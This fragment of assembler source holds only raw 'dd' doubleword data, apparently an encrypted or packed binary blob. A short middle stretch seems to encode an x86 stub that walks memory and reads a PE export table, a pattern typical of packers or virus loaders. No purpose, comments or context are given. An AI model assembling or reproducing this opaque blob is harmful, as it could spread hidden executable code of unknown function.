		dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h
		dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh
		dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h,	39D167C2h
		dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h,	0EE8541DFh
		dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h,	0CA9947C2h
		dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h,	1879191Eh
		dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h
		dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h,	0F5E39D90h
		dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah,	1048BE9Eh
		dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh
		dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h
		dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h
		dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh
		dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h
		dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh
		dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh
		dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh
		dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh
		dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h
		dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h
		dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh,	0DD523383h
		dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh,	0AB740168h
		dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh
		dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h
		dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h,	0B0A16A33h
		dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h
		dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h,	514F8A4Eh
		dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h,	3D8B4B64h
		dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h,	10D144AEh
		dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah
		dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h,	7BD451F1h
		dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh
		dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h
		dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h,	0C00180CEh
		dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h,	0AA733C2Dh
		dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh
		dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h
		dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h
		dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh,	0EBB44DF4h
		dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh
		dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah
		dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h
		dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h,	4EBC7A58h
		dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h
		dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h,	80700ABEh
		dd 56B60F09h, 0A7C0B9FFh, 176804E2h, 31098070h,	0AC1630C0h
		dd 0E102948Dh, 49098711h, 11AAEA81h, 0F9810987h, 4E203FFh
		dd 0C3E57Fh, 13E800h, 8AB50000h, 18E9B9F2h, 10300000h
		dd 0E240D602h, 310FC3F9h, 6C8B55C3h, 6C810424h,	360424h
		dd 0EBE80000h, 8BFFFFFFh, 0FFE4E8C8h, 0C12BFFFFh, 1003Dh
		dd 8B457300h, 8108245Ch, 0FFF000E3h, 5ED81FFh, 8B004010h
		dd 66E9320Bh, 174DF981h, 9B8D0874h, 0FFFFF000h,	438BEDEBh
		dd 18548B3Ch, 1A148D78h, 8B184A8Bh, 8D512072h, 81AD3334h
		dd 6306037Ch, 74646441h, 59F3E205h, 0C29C35Dh, 24728B24h
		dd 8D1C7A8Bh, 40109B85h, 6A908A00h, 0E8FFFFFFh,	0FFFFFF6Bh
		dd 0DBEC69ECh, 0ABBD3A3Eh, 0FBF399A6h, 509BEBD9h, 500AFD05h
		dd 8C30EF95h, 0A36510E8h, 53E836F3h, 0FD69F506h, 8BA52ACh
		dd 1C6A5AFDh, 827886D1h, 0A17B3BC0h, 0F686583Ch, 3FB74339h
		dd 0C50200DEh, 141F837Dh, 0E8337221h, 0D36B119Dh, 0F1934302h
		dd 1C39E2Bh, 0EE7C9D19h, 25D32764h, 0E3C37681h,	31FF4A91h
		dd 0F15711A9h, 0C580DC2h, 19F753EEh, 0C4CA9AA5h, 0DBE2EBB6h
		dd 974428Dh, 808B0349h,	783A6935h, 2873FE1Ch, 0E977375Eh
		dd 871B66F1h, 0B6A3BF43h, 0F1C20E19h, 0CBE7298h, 43DE3B01h
		dd 0C73FCAC0h, 68AED360h, 2DE77254h, 735CEE72h,	0C4D0DA25h
		dd 58774F44h, 0F64283CDh, 55F456CBh, 949F03A1h,	7AF34946h
		dd 28665FE3h, 95D2A6B1h, 0E46F6E27h, 1D804972h,	8C97368Fh
		dd 843E0941h, 0F57F8A3Ch, 8C5C8101h, 0DC277269h, 0DAEF011Ah
		dd 0EC0C1925h, 50A3FE39h, 5EF4784h, 22396A1h, 0BE1F6AEBh
		dd 8C66C189h, 0F9C75277h, 781FE9F1h, 0B36FBA06h, 0E8433B54h
		dd 239C62EDh, 0A0ECB738h, 74528B55h, 0C5939E39h, 5C767E68h
		dd 0F9E75D1h, 0E4E3D947h, 9089D2F2h, 0E1EEC27Eh, 91FDB4h
		dd 9FF459F5h, 0F864F735h, 0EB1B1563h, 91DB2519h, 0FC3A0545h
		dd 0BB838E30h, 0CCD28229h, 0E2F2F2CEh, 0DE684A95h, 0E0D27469h
		dd 0DCA7F63Dh, 317BC679h, 9CDA65E5h, 5D232E90h,	10734D4Dh
		dd 0EACB1663h, 54F7BA35h, 4273BA09h, 0F0AF53DDh, 801A0CE6h
		dd 0A5EF3BEDh, 0E056F159h, 2497A204h, 206AB60Bh, 0DDA71F2Ah
		dd 0CDFB5EE9h, 75E7327Dh, 70BB04DAh, 0A7D6DA4Fh, 0E769C4F3h
		dd 0AC1D9E58h, 3FABDA1h, 0BD6397F6h, 67B3FE09h,	3C85BC99h
		dd 105D4EF1h, 0B0617AC5h, 0B84F02DDh, 0A503B792h, 0D526F601h
		dd 343FDD4Fh, 0B5DE57DAh, 0DC675891h, 58684A20h, 84CF18C0h
		dd 72FB53BAh, 2377C24Dh, 49AC65h, 0E49AE1B5h, 57F37EA3h
		dd 0F948132Dh, 50DBCEC6h, 0C980784h, 7BC8E99h, 4B1862ADh
		dd 0A0EB349Ah, 5E8B8FDEh, 386CDE69h, 58E23DFCh,	713BC6F8h
		dd 84261E18h, 981CD179h, 90300D4Dh, 0CB8BD620h,	54759278h
		dd 172A9DC9h, 398853ECh, 909B0F20h, 4DFE47C4h, 0C77CCE59h
		dd 8B58A2EDh, 0E02B771Ah, 0B4FEAC7Dh, 266E9369h, 0D7A7B217h
		dd 0C67BACDEh, 3F653Ch,	0B2208F3Ah, 0FB0E41CDh,	98A1160Bh
		dd 41D85FB8h, 34CABE49h, 714792DDh, 2FE52BB5h, 0F89C57Ah
		dd 788E0AD4h, 2A97E22Dh, 242C3BAAh, 58DBB87Eh, 33F1F5CFh
		dd 9C8DE6F6h, 70E50439h, 2E435125h, 72A725F9h, 0EC37EACDh
		dd 80615EA1h, 9AB57824h, 54260119h, 64879237h, 781B6272h
		dd 0E42F24C7h, 0B8699A12h, 88BDEEE6h, 62C1F62Bh, 5C7FA047h
		dd 853C0EBh, 0B67672D7h, 2504166Eh, 848F3025h, 0A726B766h
		dd 2D4A4602h, 0B5C696E1h, 0D45F7AB5h, 0A8F4BF30h, 8F28995Dh
		dd 50766794h, 0A96FFA15h, 0B850385Ch, 41F79DADh, 0E0F3D514h
		dd 0E1405855h, 48D3F7DDh, 1C67A415h, 9F54CAD1h,	947F2FCEh
		dd 0F195470Bh, 9D06721h, 35E7B777h, 445FEB90h, 0C1A3EB36h
		dd 398E52DDh, 909B0FE5h, 44C5AE15h, 0AD7C3173h,	0C1788A9h
		dd 9574B644h, 0B695DCAAh
		dd 5C58483Fh, 0B4F5F357h, 307BC600h, 610BFFB6h,	88441BDBh
		dd 0C5812BFFh, 0E5AC730Dh, 0C160BC35h, 2833979Dh, 0AA115656h
		dd 874D36E7h, 8EC3AF7Ah, 0BC400E19h, 0D968B53Dh, 202B9F85h
		dd 0F6558ABFh, 0E1AFCB56h, 0B45E323Dh, 0E7BB0650h, 48063B0Eh
		dd 0E734FADDh, 0AC1D8658h, 43FD65A1h, 0D4F5B6D0h, 3FE7FE49h
		dd 168F47E2h, 0D0DEA6B1h, 676926B1h, 56714A67h,	84F35692h
		dd 4AC1F62Bh, 1E7F5FEAh, 0C8D69EA9h, 34B4AEC9h,	0B0FB4247h
		dd 675ED356h, 0C426D709h, 59778227h, 5C8A17C9h,	841F6AA5h
		dd 0F9A56EDDh, 8394420Dh, 10B252A4h, 7DAF3F05h,	8CBC81ADh
		dd 49986A89h, 0A0AB1C1Dh, 8B4281BDh, 0DD6C8DD6h, 1C279B79h
		dd 34BA1E3Ah, 0C40F5B8Dh, 1C76D12Eh, 93B74264h,	0A252B4h
		dd 0EFC143F5h, 0E8338136h, 0E607529Dh, 0C18AEF42h, 65C7AB14h
		dd 0B383CA19h, 6607F329h, 0B2EFFDCDh, 0C29A1C56h, 683B1E3Dh
		dd 0D1580DC2h, 706F3A84h, 551EC8E5h, 50B691E9h,	2FF702A4h
		dd 0B0836A5h, 0CC7B2CAh, 286DBC09h, 0FC578CDDh,	0D01B67B1h
		dd 0A4EF3A85h, 78C30E59h, 1FC1B32Dh, 9FB23FEh, 0AD948A95h
		dd 0BDD3DA05h, 5F09D086h, 3DA440Dh, 29EE9440h, 7A2CCA9Ch
		dd 9854E7A7h, 0A5580AD2h, 0FD895E16h, 68C68A3Bh, 4EF3A171h
		dd 102FC792h, 965B09A9h, 0B86D2BF5h, 0EDB2502Eh, 9ED9335h
		dd 343EAF79h, 6936ECAAh, 0B56117C9h, 0D1B623FDh, 0EAA66A15h
		dd 1BA3AF5Eh, 5816A77Fh, 6F39C684h, 0A76C0FD6h,	0DAB03EC8h
		dd 19B37338h, 3FF68363h, 4C3BDF71h, 9C22EBABh, 0A96521ADh
		dd 0F48E42E0h, 15DA783Dh, 3AD0DE4Dh, 7913D398h,	9C54E985h
		dd 0B4633FCDh, 0F6B01C4Ah, 4C4722Ch, 58BA24Eh, 402BC38Dh
		dd 89560CA1h, 0D94052F9h, 0FCB26005h, 10DBBB20h, 4DE1A76Bh
		dd 4D24C799h, 944E31C1h, 0D19323D3h, 0EDA9773Ah, 28C2B53Dh
		dd 5517AF57h, 6122F3B1h, 0AC4629B9h, 0D9932DC0h, 0E98D730Dh
		dd 35D18F59h, 2832DB64h, 0B133F79Ah, 0BC6E02DEh, 0CA8E72E0h
		dd 39A6623Dh, 38F2A52Dh, 5418CF52h, 9D7BE7B0h, 0BC703BDBh
		dd 0DD9E4012h, 4DE4151h, 34E2BF71h, 7D0FC7BFh, 895AE383h
		dd 0A54C56E0h, 0F9BA7E01h, 1CD2AE39h, 7B879375h, 750DD294h
		dd 8B4609B7h, 0DD444EF7h, 0FEB27419h, 0EC49F32h, 343EB250h
		dd 5E27FBAEh, 0B1521ED2h, 0D6950FF4h, 0E5A2680Ah, 36CC874Dh
		dd 4030C24Ch, 6C2AF48Eh, 0BB7306F4h, 0C7BF3EEAh, 158B763Ch
		dd 22FA9453h, 696FFB7Ch, 9115FEB8h, 0AA5815C8h,	0C5875FC7h
		dd 11CF4555h, 24FA9847h, 6C06FF98h, 9755EFA1h, 0B4405AE4h
		dd 0EAB3401Ch, 1FD26122h, 32DBD652h, 673AC99Ah,	0AE014DBAh
		dd 0C87420F4h, 0FFA97671h, 17DC9F26h, 5DCDFC2Ah, 5E57D695h
		dd 0A64F17A4h, 0B49A26FCh, 0CEA77B3Ah, 1DC29E54h, 5909B265h
		dd 613BEF87h, 8B232FCAh, 0C5B136E8h, 0EF9B730Dh, 31EB845Ch
		dd 4D20BE7Bh, 902ED4A9h, 0BD7232D4h, 0C8BC3AE0h, 78B36B3Ch
		dd 2DFA8C78h, 4502E071h, 0B259C5A2h, 0C87632C0h, 0E8955B2Bh
		dd 31D76724h, 27E0B649h, 7111F9F9h, 8571E7B9h, 8E0B33CDh
		dd 0FEBB6B01h, 38C78D3Ch, 55F1BB6Fh, 753CC39Dh,	8F402EB6h
		dd 0F60320FCh, 0E9A56119h, 26CE8220h, 341AA67Ch, 7A10EAA7h
		dd 0B95313D8h, 0D39434C1h, 84BC6900h, 2AE09A77h, 4903A368h
		dd 6324E4B1h, 916C19D0h, 0DCBD3EF1h, 1DA2601Eh,	35C88345h
		dd 4B06CE66h, 8C0D8EB7h, 9A6703E0h, 0EF9C53E8h,	17DA5933h
		dd 26FCB75Dh, 5313FCFDh, 0A055E3A1h, 0A16C35D7h, 0F7B75D0Ah
		dd 6CD96726h, 30C4A26Fh, 710CC490h, 875A0AAAh, 0C84952F3h
		dd 0E4B45421h, 32DB9920h, 4DF7BC70h, 691ACE8Ch,	995919ACh
		dd 0E58B0495h, 0F1A17B1Ch, 28D48B6Eh, 5E32AB74h, 693DF583h
		dd 0B74A1AD8h, 0D8B942E3h, 0F4A26436h, 26F6BC50h, 4412CB7Dh
		dd 932AF790h, 821B1FC3h, 0CABA56F1h, 1CAC6D30h,	3EE3B148h
		dd 740CD868h, 8751CBBAh, 0BA670DC0h, 9C805C14h,	23FA5506h
		dd 30FDBB51h, 7B63DE8Ch, 8944EDA1h, 0AB6839D2h,	0F7DF5E10h
		dd 0DDD9026h, 5B87A67Eh, 7F33D294h, 9D4D0EB6h, 0DD6E2FF7h
		dd 0EFB2506Dh, 5D8F637h, 477FAE7Bh, 6D38FD86h, 0B26E72C9h
		dd 0DE8923E5h, 0E88C6E00h, 10C69D56h, 4013AC6Ch, 6E029684h
		dd 0BA6D0FC1h, 0CDB44AECh, 12A85129h, 24F8835Fh, 503CDE60h
		dd 0F826FAB8h, 0A9630CE4h, 0D48E58F3h, 1ADA7A1Ah, 26DADE68h
		dd 7215D789h, 8074F2B4h, 0B65A34C0h, 0D1E36F15h, 1ED27623h
		dd 12FFB34Fh, 523BCB90h, 0E85612A0h, 0FD5116DCh, 0A2E86F21h
		dd 28E3BE6Bh, 5FE69C19h, 7F38CEAEh, 994E3DA4h, 0D39A1895h
		dd 0E6B66E26h, 19DE9776h, 627B8769h, 711EFD80h,	8E5A1CDCh
		dd 0C9822EECh, 808A6E24h, 7F88F67h, 4925CA6Ch, 0B922E7B1h
		dd 531B27C9h, 6CC43F6Ch, 78C36608h, 1A0A2Dh, 2001B525h
		dd 0A46E8FBFh, 431634FAh, 486C62B1h, 30D15201h,	0BBDC8874h
		dd 5849E26Ch, 0E0F301CDh, 0EA5FC35Eh, 505C2A35h, 0E5E43D41h
		dd 7C928B98h, 40A495F1h, 0EA457AAFh, 91FFDB66h,	4C52222Dh
		dd 8FB8935h, 347F9417h,	8394A62h, 9C4DBE36h, 0A0FB46F9h
		dd 0D6CD7065h, 5ACBEE53h, 4677C253h, 5018C7E1h,	0FE5FFF4Ah
		dd 0F1AC3EC9h, 554387A2h, 0AF1EE671h, 0A9E4F171h, 0F8039BE9h
		dd 599A6E4Eh, 0A0AB2681h, 27E8DB56h, 0CD180CD6h, 1C2798CDh
		dd 0E8CD095Ch, 9CE75AA5h, 131CD186h, 2C9D36C8h,	3045B21h
		dd 0FC5FAAECh, 17CC818Eh, 963FD716h, 505E2631h,	0EB22F131h
		dd 3883D749h, 0F3A89005h, 0BFECFD3Eh, 0B4171F56h, 0D5D31E69h
		dd 46A51FBCh, 0F948C651h, 24131F68h, 8C726EF9h,	0FDA713DCh
		dd 385EE930h, 0D39FAA1Ch, 0BD8C9A0Dh, 0FC07BB59h, 0D01FA4ECh
		dd 0A4EFD2D0h, 0F99E0E59h, 0C8DD3C0h, 0AD94DC01h, 0B4267640h
		dd 5410EA9h, 0B6E7165Dh, 7C7F8551h, 60A1D43h, 0D563EEE3h
		dd 0A8B245EDh, 0E40B16BBh, 0C9DF0075h, 2B2948Ah, 0C3B42D1Ch
		dd 5A4A282h, 145BBA40h,	0B80345F1h, 0D707A96Dh,	0ED97A642h
		dd 7465AAA0h, 4E915E9h,	572772BCh, 0B0FA4E1Bh, 0AF371965h
		dd 93288EF2h, 581664FEh, 0F5A9D1E4h, 139CA85Eh,	7C786986h
		dd 2C0B990Eh, 1DB8C65h,	0DB90D057h, 0B869C24Ch,	0C0D3E1ADh
		dd 892BA30Ah, 0A3940A15h, 8F9434AAh, 0F467D8FAh, 0F36C0FD1h
		dd 629A3366h, 9DE36E53h, 5FBF0AC9h, 5A3B94E1h, 3EF93F7Ch
		dd 0AC47E89h, 16661010h, 71AEEF8Fh, 6447AF86h, 6583CE19h
		dd 16A54F6Ch, 7DA07681h, 0B4BF603Fh, 80F762EAh,	0E523FD3Dh
		dd 0B17BC611h, 44D9209h, 0DC4B3AB9h, 53F7428Ch,	0C0E2F6F4h
		dd 0D9636135h, 29779A8Dh, 961792DDh, 0D01F8EB1h, 0F6B93A85h
		dd 87940E0Dh, 0CBE3EB8h, 0ADA28501h, 0F43E8E42h, 0A2420FA9h
		dd 9D8D637Fh, 70BB0639h, 0D1708865h, 18238751h,	98C1075Bh
		dd 0A85F06FAh, 94DF2B71h, 4C07011Eh, 3C87D03Dh,	3AD3330Eh
		dd 61767A85h, 5B153A59h, 585C7279h, 31F9F62Bh, 0A1809C42h
		dd 813B4C1h, 0A9E7F7E4h, 25041041h, 848F33E1h, 0AE7B9B4h
		dd 7433A85Ah, 14F016Ch,	0E7B46AB5h, 0F1E35449h,	2C97B9AEh
		dd 0CBB661h, 0B190E855h, 0F803A769h, 0CE1FA62Ch, 0D4143681h
		dd 0E1400271h, 48D3F451h, 64F24DAEh, 0AD3BC6FBh, 440F5E67h
		dd 99962447h, 403A890Bh, 0A38B9634h, 14CA27ECh,	0EB333ED9h
		dd 6EF8044Ch, 18D4E6F5h, 64AFFABAh, 38734A16h, 32D7A2EDh
		dd 0A63B03FBh, 0BBFF7415h
		dd 88D3FFEDh, 7C99723Dh, 0B13D3764h, 4A06CADBh,	53011BFEh
		dd 0ADB18442h, 0D1053D2Eh, 2CEEA5Fh, 58E6415Ah,	0A547D2F7h
		dd 5514A78Ah, 0A4EF3A3Ah, 78C3BFB0h, 1CA9632Dh,	2F3DFF53h
		dd 0F43F2F50h, 0C0D5DDA9h, 93EA0ED1h, 70BB9FD5h, 31AFE625h
		dd 225F020Ah, 0ECBB07C2h, 0CDA656A1h, 0B4FF0A55h, 0DD4DF74h
		dd 90F8A769h, 6C2E86CDh, 0C4D00444h, 0CD773AF1h, 8FA9A31Ch
		dd 4F84CC31h, 73B9A260h, 395C9E16h, 0DC006207h,	0E219B191h
		dd 0AED38F9Ah, 9890EE79h, 7C27925Dh, 4B9F09h, 0A3702EB5h
		dd 0C99C52E7h, 0E9381239h, 50DBCCB1h, 121B7A80h, 7DCA47EAh
		dd 0CC574807h, 0A3EB5ED0h, 25EE8E55h, 0DD6C8E7Fh, 1C279879h
		dd 0EAD7135Ch, 0F75F5AE5h, 0C8B27AB0h, 93E6531Fh, 0A26EB4h
		dd 305B2DF5h, 0C1B7EB36h, 7FFF52DDh, 85C4ABF1h,	9DAEFA05h
		dd 1CDF45DAh, 0C574AE9h, 617676C1h, 0F4E3B378h,	7A6E9569h
		dd 0D7A7B210h, 70563CA4h, 8FB499E5h, 980E9834h,	2752B18Dh
		dd 0C0E6E4E4h, 0BA0A6135h, 2B73FE24h, 0BC6A7458h, 0B819EFB1h
		dd 0A4EF290Dh, 52DF9BA6h, 857CE26Dh, 560EF25Dh,	0A85AE9BCh
		dd 0BB6A36F9h, 0F0865114h, 1FD6631Ch, 778FA357h, 4AAC252Bh
		dd 6F655B3Bh, 80615540h, 0C688D376h, 0DD3EE623h, 3CC7CF2Ah
		dd 105BB148h, 0A92BF7C5h, 47FCB167h, 885A890Bh,	60ABF60Ch
		dd 0B9D4AC15h, 3AF89AAEh, 7741DE59h, 2576BD73h,	848F3787h
		dd 0AA5846Dh, 63F57F2h,	74C096A1h, 109C6291h, 0A733BB91h
		dd 7CC6B7D8h, 389B8C31h, 246FBB25h, 748E48Fh, 8C3D3238h
		dd 0ACB5BD81h, 0FDAF44DEh, 8BE38B4h, 0F6EA3BFDh, 713BC6FCh
		dd 3BFF5A46h, 0F2B07F76h, 93B1684Dh, 0A63494h, 0ECCA55F5h
		dd 0B8333EE0h, 91E5E762h, 5242631h, 64EFD3C1h, 0AB434B41h
		dd 0D0326E2h, 614D76C1h, 0C0A507AEh, 1D2C4D65h,	5CE7D81Dh
		dd 307A87F8h, 0CCF117E5h, 0D7236EB9h, 21E90C3Ah, 0E8D42715h
		dd 549FEB31h, 0F0E6415Eh, 0AA47D2F4h, 708E99E6h, 2FEF7AACh
		dd 0BBC0321Ah, 4FEFB2A6h, 193DD2h, 7927C05Eh, 65426D9Dh
		dd 0E466F17Eh, 15E86350h, 0A68AAE57h, 0B588F70Bh, 67138EE4h
		dd 0C35272D3h, 888DA186h, 26B74946h, 80C011Eh, 9BA8A573h
		dd 51A6728Bh, 0B8436377h, 39EC14E6h, 60EBDBA7h,	81544967h
		dd 813B30Fh, 0F1CDC786h, 33F446D1h, 7B30E514h, 0ED2A2E0Ah
		dd 2C37EFFFh, 2DBD1B68h, 844F6AF5h, 0C2A33DE3h,	7CC77A5Ch
		dd 0AFCC6631h, 647A9280h, 50D671D9h, 33172284h,	0E0FE1E0Ch
		dd 8B478955h, 0B7A85A26h, 99EE4D02h, 0F07BAB33h, 0C4655ACFh
		dd 0D1C7E2Fh, 6CF72859h, 6D7D53AAh, 0F49EAAB5h,	82632ECBh
		dd 4C92AD9Dh, 19DB6658h, 248200C0h, 52574519h, 3EA8F0EDh
		dd 29E8991h, 4BFF0AB8h,	0C8F912FCh, 0BE22793Dh,	0B97B863Ch
		dd 91B0BEE1h, 0D863473Dh, 27CB1106h, 0C0E6ECD4h, 4ECB6135h
		dd 38D353Dh, 0BC6A7448h, 2696EDB1h, 9EF7AA8h, 9A68CC72h
		dd 0BC126FD7h, 716BF61Dh, 0A56FD984h, 7086A1F8h, 0CCE77254h
		dd 593F93AEh, 614CDA65h, 2249948Ah, 8E56ECA8h, 0FA6F33CDh
		dd 0F1B75935h, 5A809225h, 50EBB633h, 106A8BDDh,	0B07C2396h
		dd 0FB5F03DCh, 0E9A55018h, 0FE8822Fh, 5B0DBE7Bh, 7C36CD85h
		dd 0AE4221E1h, 0D5982FE7h, 0EC9C4616h, 3CC69C58h, 4914A14Ch
		dd 5017E592h, 0B97E18D4h, 0DA964AECh, 15814E2Eh, 31EC8343h
		dd 4B3FD669h, 8120E7B5h, 0AD6331F1h, 0D28A52EFh, 1BCD5A31h
		dd 2DFFB74Fh, 6812F3A1h, 9949E9B9h, 856B3FDFh, 0F18F5E09h
		dd 5C3632Eh, 1CF8B84Eh,	602CC3B9h, 0AE7C2DC9h, 0EE4605C9h
		dd 0F9967A34h, 17C08826h, 64F7A876h, 6839CBBAh,	0BC5801AEh
		dd 0C68D3FD6h, 0DEA7700Ch, 35D48058h, 7527A87Eh, 6B23EA9Dh
		dd 0D8510BCBh, 0CB8523D9h, 0EF836204h, 569F9E46h, 2823BE09h
		dd 8C4792DDh, 0B96309C3h, 0D08114E8h, 14AD7C32h, 25B9835Dh
		dd 2004D06Fh, 0BF7CC39Bh, 0BC7E2989h, 0F28A4317h, 23EE0C26h
		dd 28AF8860h, 562AE1B3h, 8541A4EDh, 0F37E22D3h,	94377F7Fh
		dd 35B3FE49h, 1CE53F9Ch, 959DA6B1h, 0E46F6FDAh,	5C96B199h
		dd 4DD76244h, 5CDFE9A9h, 81F4D47Fh, 813B771h, 0F21BDEE4h
		dd 319D6CE4h, 0F1D2E55Bh, 0F81E631Ah, 0A7778227h, 0A51C9497h
		dd 5192CFD3h, 0A8B31645h, 543597D2h, 0D961E671h, 6AE34043h
		dd 0F9F27527h, 90FCAD4Fh, 0B5B2B30Ch, 1EEF0A15h, 0B79DB429h
		dd 5C4E4E68h, 0D44705D1h, 807A5EADh, 98E32691h,	2FF1514Dh
		dd 0CC7920Fh, 0C0CA55F5h, 0E3333EE0h, 2F15265Dh, 6F88241Bh
		dd 24866AD0h, 0AB533119h, 0F3AED105h, 0E0209E3Eh, 0F2AC4A95h
		dd 0DB9C412Ah, 10EBB613h, 0E4EE3911h, 0EC4FDACCh, 27DC97E1h
		dd 0ACF74965h, 0C5984361h, 7AADD967h, 283FF24Dh, 0D5B30722h
		dd 0DAF366F1h, 0D3EF3A85h, 11B17E2Ah, 0DF19643h, 0B594E601h
		dd 0F47FA345h, 0E18FDB20h, 0ADE8323Dh, 68588BDCh, 0C106DA65h
		dd 1823845Fh, 18A27D9Ch, 530B1688h, 94DF2E1Dh, 98067349h
		dd 65879205h, 3AD71B7Ch, 26C77A85h, 0DEFCB16Ah,	0ACF7A7AAh
		dd 30ABF601h, 145D6F96h, 85539EA9h, 9C389228h, 0DAAF1691h
		dd 0D6CF7064h, 58A3EC51h, 0BCE23D8Dh, 854BD6CBh, 0F66A3075h
		dd 88E0B304h, 1695121Dh, 702E6B37h, 706FFA25h, 0A913DE8Fh
		dd 58829DFFh, 0F8EB76ABh, 5E339FAAh, 0CD55DE69h, 1C279E50h
		dd 30F6ED1h, 49F0A55Ah,	98A33C35h, 784B878Ah, 14DDD661h
		dd 0BB799AAh, 2FCC813Ah, 0FC13AE18h, 0CF8F7071h, 97BF1271h
		dd 0BD4431E6h, 0C17B611h, 0D4740E97h, 4B0C4B7Dh, 7456D996h
		dd 0AA7B229h, 32FB074h,	0FACA172Ch, 89232E94h, 0FCA613DCh
		dd 7F9A4730h, 14B606A0h, 0CCE64109h, 3D47D2F4h,	0A46E7959h
		dd 0A4EF366Dh, 348B5D59h, 5C7A37Ah, 6C27F22Fh, 0AA75D5h
		dd 20131E80h, 9CE73271h, 15E84E02h, 28EE8C51h, 1822CB8Ch
		dd 7CA27D9Dh, 530B1688h, 0BE719FF8h, 0A0DBFE09h, 6A87D21Dh
		dd 85A4A69Bh, 0E46F5315h, 0A74DDB14h, 315A222Dh, 60EBDD37h
		dd 0CB289843h, 487A027Ch, 0D0E3F1BDh, 0AF90D31Ch, 0D39F1A25h
		dd 0AF5EF53h, 2C77C065h, 0E8986961h, 2BE0901Ah,	0BC11830Ah
		dd 8C7121Dh, 43138E3Ah,	0B190BA05h, 0F803A4C5h,	0CC176E45h
		dd 0EFB86181h, 468C4116h, 4DF9A07h, 0E8F24DFDh,	633BC6F8h
		dd 0C40F5DCDh, 0DF56A379h, 35B74255h, 6AD76BACh, 46B7AAB5h
		dd 0CC813Bh, 0BC075291h, 0D9956F26h, 4AFBBF0Bh,	38CF825Dh
		dd 25A33712h, 20AE7681h, 0B6CACE9Ah, 0E0401E69h, 5CA7F238h
		dd 28FE739Ch, 89169AA5h, 98091604h, 5EECAA8Dh, 3D48E99Eh
		dd 54DFC049h, 38F7B109h, 7D4792DFh, 0D01AF65Dh,	0A5876E85h
		dd 87C30E58h, 0CBDBEB8h, 0B0AF3701h, 0A43F8AD4h, 0C8798A22h
		dd 0E072CD2Fh, 0F5BB467Bh, 49FA83E5h, 18702691h, 0F0A27DCDh
		dd 2B0B168Bh, 0B662A997h, 68B3BE69h, 0B90AFB68h, 101B86D7h
		dd 8CBA8595h, 3D030EB3h, 5532DADh, 0EBABF640h, 34F4C655h
		dd 8DDCAE16h, 0DC67529Fh, 9C56C357h, 0EECE1A25h, 32A28439h
		dd 58E23D0Fh, 834BD6CBh, 5010954Dh, 0A8F33FE9h,	62529FCEh
		dd 3A9BA611h, 0DB3CE815h, 0B869EA4Ch, 0C3D7E7ADh, 0A0EA7604h
		dd 34028755h, 0F9939E09h, 0EB645AF5h, 6453792Eh, 9A0F5AA5h
		dd 0AC6AC852h, 0F9485669h, 40CBFFC9h, 34111778h, 0E9827E89h
		dd 43F1B675h, 0AB4EAB8Eh, 0EAFBA65h, 3897A619h,	5F05A2EDh
		dd 0CA5BE33Eh, 0F0724AD5h
		dd 1D5E0A4Dh, 5CE7DFC3h, 3ACDC941h, 106BDE6Eh, 0DA2B8E78h
